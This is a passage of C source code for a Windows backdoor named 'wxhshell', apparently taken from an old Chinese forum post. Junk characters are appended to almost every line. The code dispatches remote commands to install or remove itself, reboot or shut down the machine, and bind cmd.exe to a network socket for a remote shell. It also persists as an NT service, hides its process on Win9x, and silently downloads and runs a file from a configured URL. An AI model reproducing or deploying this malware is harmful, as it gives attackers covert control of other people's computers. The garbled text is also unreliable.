  else { CSMeSPOm]  
E7Ibp79}N  
    switch(cmd[0]) { nX0HT )}  
  {?E<](+0  
  // 帮助 +I t#Z3  
  case '?': { Qg(Z{V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (` 5FZgN  
    break; 1/B]TT  
  } XC[]E)8  
  // 安装 eR:b=%T8  
  case 'i': { opsQn\4DZ?  
    if(Install()) *7ZGq(O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dj'm, k b  
    else GCDwWCxh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sw~(uH_l  
    break; ^ eQFg>  
    } X1+ wX`f  
  // 卸载 J/2j;,8D  
  case 'r': { :Sr?6FPc  
    if(Uninstall()) ~+yZfOcw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _V@WNo%B  
    else HBH$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i AdGgK  
    break; X) V7bVW  
    } [4sEVu}  
  // 显示 wxhshell 所在路径 y$X(S\W  
  case 'p': { (n,u|}8Y  
    char svExeFile[MAX_PATH]; 4({( i  
    strcpy(svExeFile,"\n\r"); C{ EAmv'  
      strcat(svExeFile,ExeFile); oM!xz1kVL  
        send(wsh,svExeFile,strlen(svExeFile),0); :.k ZR;  
    break; 07V8;A<,  
    } ,7W:fwdR  
  // 重启 {( #zcK  
  case 'b': { bu>qsU3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $B;_Jo\|  
    if(Boot(REBOOT)) 9mlIbEAb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eG5Y+iL-V  
    else { Z(j{F<\jS  
    closesocket(wsh); S}(8f!9<  
    ExitThread(0); }GumpT$Xw  
    } (hIF]>,kl  
    break; jjRUL.  
    } pY@Y?Jj  
  // 关机 * z'8j  
  case 'd': { "wAf. =F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oH^(qZ8W  
    if(Boot(SHUTDOWN)) %Y]=1BRk}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (D<(6?  
    else { NQfYxB1Yr:  
    closesocket(wsh); O. ,3|  
    ExitThread(0); !gF9k8\Yr$  
    } :4:N f  
    break; aTd D`h  
    } qFco3  
  // 获取shell hn.bau[  
  case 's': { $Az^Y0[D  
    CmdShell(wsh); 'fx UV<K&  
    closesocket(wsh); 9i5tVOhE  
    ExitThread(0); K{@3\5<  
    break; N|mJg[j@7  
  } w]u@G-e  
  // 退出 OtJ\T/q,  
  case 'x': { 7ER|'j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +uo{ m~_4  
    CloseIt(wsh); ljC(L/I  
    break; eSEq{ ?>  
    } ]}Z4P-"t  
  // 离开 ST5V!jz  
  case 'q': { -#In;~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'm3t|:nMU  
    closesocket(wsh); X T[zj <&_  
    WSACleanup(); .B72C[' c  
    exit(1); hB9Ee@  
    break;  x}TS  
        } p8}(kHUp(  
  } QSw<%pcJE@  
  } ht=P\E  
 R'}95S<  
  // 提示信息 ~1 ~Xfo>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S?ujRp  
} ehNzDr\s  
  } 5O <>mCF  
uR;gVO+QC  
  return; +k\Uf*wh  
} }|\d+V2On  
/PzcvN  
// shell模块句柄 q[3x2sR  
int CmdShell(SOCKET sock) i;z{zVR  
{ ^T5X)Nu{=C  
STARTUPINFO si; o:S0*  
ZeroMemory(&si,sizeof(si)); C NsNZJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m8R9{LC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JL=U,Mr6  
PROCESS_INFORMATION ProcessInfo; H 3@Z.D  
char cmdline[]="cmd"; %FZ2xyI.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {ZU1x C  
  return 0; .zg8i_  
} \OILWQ[/  
5U`ZbG  
// 自身启动模式 oF]cTAqhC.  
int StartFromService(void) |re}6#TgcT  
{ `B/0iA  
typedef struct i;/xK=L  
{ g.py+ ZFJ  
  DWORD ExitStatus; [XVEBA4GI  
  DWORD PebBaseAddress; wh6yPVVF/  
  DWORD AffinityMask; Q=mI 9  
  DWORD BasePriority; oA] KE"T  
  ULONG UniqueProcessId; $ _j[2EU  
  ULONG InheritedFromUniqueProcessId; xu5ia|gYz7  
}   PROCESS_BASIC_INFORMATION; NLS"eD m  
x5}'7,A  
PROCNTQSIP NtQueryInformationProcess; <BFQ:  
M`YWn ;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >Fio;cn?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Tm}rH]F&  
XfPFo6  
  HANDLE             hProcess; 7?j;7.i s(  
  PROCESS_BASIC_INFORMATION pbi; IU FH:w]  
N`@NiJ(O;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >F1kR\!  
  if(NULL == hInst ) return 0; fmqb` %  
6!x&LoM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C%d_@*82  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `Z: R Ce^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N6K* d` o  
hu_ ^OlF  
  if (!NtQueryInformationProcess) return 0; }%b;vzkG5  
7SDFz}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &|>S|  
  if(!hProcess) return 0; %^sTU4D5  
1"Z@Q`}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4iA Z+l5&  
'c2W}$q  
  CloseHandle(hProcess); De7T s  
=4V&*go*\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *B`Zq)  
if(hProcess==NULL) return 0; gE#>RM5D  
4[Z\ ?[  
HMODULE hMod; glDcUCF3  
char procName[255]; v+p {|X-  
unsigned long cbNeeded; 0a8/B>  
{3;AwhN0H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &'cL%.  
vEf4HZ&w  
  CloseHandle(hProcess); hfpJ+[  
8fA_p}wp  
if(strstr(procName,"services")) return 1; // 以服务启动 GjoIm?  
#^m0aB7r  
  return 0; // 注册表启动 %CWPbk^  
} D\IjyZ-O  
SJD@&m%?[  
// 主模块 9T#;,{VQ  
int StartWxhshell(LPSTR lpCmdLine) P96pm6H_;  
{  _zlqtO  
  SOCKET wsl; zvABU+{jD  
BOOL val=TRUE; DZzN>9<)^  
  int port=0; l/;X?g5+  
  struct sockaddr_in door; ?X@fKAj  
n]8<DX99Q0  
  if(wscfg.ws_autoins) Install(); ;iDPn2?6?x  
:#dE:L;T  
port=atoi(lpCmdLine); ::_i@r  
\RNg|G  
if(port<=0) port=wscfg.ws_port; /Mb"V5S(W  
%%(R@kh9  
  WSADATA data; /mo(_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s4&^D<  
h-iJlm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rG,5[/l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3u%{dGa  
  door.sin_family = AF_INET; j+>J,axU!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gy=B&boZ  
  door.sin_port = htons(port); ]Q[p@gLd  
jzU.Bu.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d,Y_GCZ7|W  
closesocket(wsl); a0r"N[&  
return 1; l7&$}x -  
} h iNEJ_f  
SG6sw]x  
  if(listen(wsl,2) == INVALID_SOCKET) { j*~T1i  
closesocket(wsl); ySI~{YVM  
return 1; VfT*7_  
} Mq';S^  
  Wxhshell(wsl); AwQ?l(iZ"p  
  WSACleanup(); % ,+leKs  
bn |zl!Pq  
return 0; oK 6(HF'&  
f/CuE%7BR  
} kdGT{2u  
OY?y^45y  
// 以NT服务方式启动 JN7k2]{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !^Q.VYY  
{ @&[T _l  
DWORD   status = 0; @A)R_p  
  DWORD   specificError = 0xfffffff; +V&{*f)  
o)'y.-@Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )BRKZQN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +F dB '  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lJ@][;  
  serviceStatus.dwWin32ExitCode     = 0; *)+ut(x|#  
  serviceStatus.dwServiceSpecificExitCode = 0; Z@hD(MS(C  
  serviceStatus.dwCheckPoint       = 0; m&|`x  
  serviceStatus.dwWaitHint       = 0; LM2TZ   
RT%pDym\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sXNb}gJ  
  if (hServiceStatusHandle==0) return; CbN!1E6).  
*Q1~S]g  
status = GetLastError(); ]9\!;Bz^J  
  if (status!=NO_ERROR) CKA;.sh  
{ 9cJH"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  ? w^-  
    serviceStatus.dwCheckPoint       = 0; 7Pa@1']  
    serviceStatus.dwWaitHint       = 0; A&>.74}p  
    serviceStatus.dwWin32ExitCode     = status; V2N_8)s9W  
    serviceStatus.dwServiceSpecificExitCode = specificError; PfkrOsV/m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 28 3 H  
    return; ~F1:N>>_Cf  
  } id$Ul?z8  
02Ia2e.f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L\;6y*K  
  serviceStatus.dwCheckPoint       = 0; 7 [g/TB  
  serviceStatus.dwWaitHint       = 0; P6MRd/y |  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gzeQ|m2]  
} >MPr=W%E  
g[w,!F  
// 处理NT服务事件,比如:启动、停止 JgHM?AWg|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `U2DkY&n  
{ -j&Tc` j_  
switch(fdwControl) ['ksP-=  
{ KoS*0U<g6  
case SERVICE_CONTROL_STOP: [d* ~@P  
  serviceStatus.dwWin32ExitCode = 0; s`#(   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v!%5&: c3  
  serviceStatus.dwCheckPoint   = 0; %Ts PyiYl  
  serviceStatus.dwWaitHint     = 0; [CAR[ g&  
  { Q:$Zy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Y{k7^G}A  
  } IEyL];K  
  return; &.Zb,r$Y  
case SERVICE_CONTROL_PAUSE: <7Ae-!>x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IJ/sX_k  
  break; !Kv@\4  
case SERVICE_CONTROL_CONTINUE: (!:cen~|[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A4ISNM7R[  
  break; J/3_C6UZ  
case SERVICE_CONTROL_INTERROGATE: 'TA UE{{  
  break; S/ibb&  
}; Rar"B*b;$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +&["HoKg}&  
} b=/curl&  
H)(:8~c,p  
// 标准应用程序主函数 ;>mCalwj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2}W0 F2*  
{ mg, j:,  
1 `KN]Nt  
// 获取操作系统版本 D0BI5q  
OsIsNt=GetOsVer(); y9KB< yh/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CA +uKM^"6  
aj}(E +  
  // 从命令行安装 1@lJonlF  
  if(strpbrk(lpCmdLine,"iI")) Install(); |`jjHuQ;  
Zy09L}59P  
  // 下载执行文件 r/*=%~*  
if(wscfg.ws_downexe) { ;}'D16`j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *cO sv  
  WinExec(wscfg.ws_filenam,SW_HIDE); j+HHQd7Y  
} Dwl3 Cj  
n-TQ*&h]3S  
if(!OsIsNt) { ;.bm6(;  
// 如果时win9x,隐藏进程并且设置为注册表启动 WMj}kq)SY)  
HideProc(); CSCN['x  
StartWxhshell(lpCmdLine); n>'Kp T9|  
} <G*nDFWf  
else ooV*I|wcI  
  if(StartFromService())  ;vb8G$  
  // 以服务方式启动 6[]]Y,Y  
  StartServiceCtrlDispatcher(DispatchTable); !`7B^RZ  
else x\Y $+A,P  
  // 普通方式启动 5xOvY  
  StartWxhshell(lpCmdLine); VAXT{s&4>  
u_).f<mUdF  
return 0; {f{ZHi|  
}
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只看该作者 1 发表于: 2006-10-10
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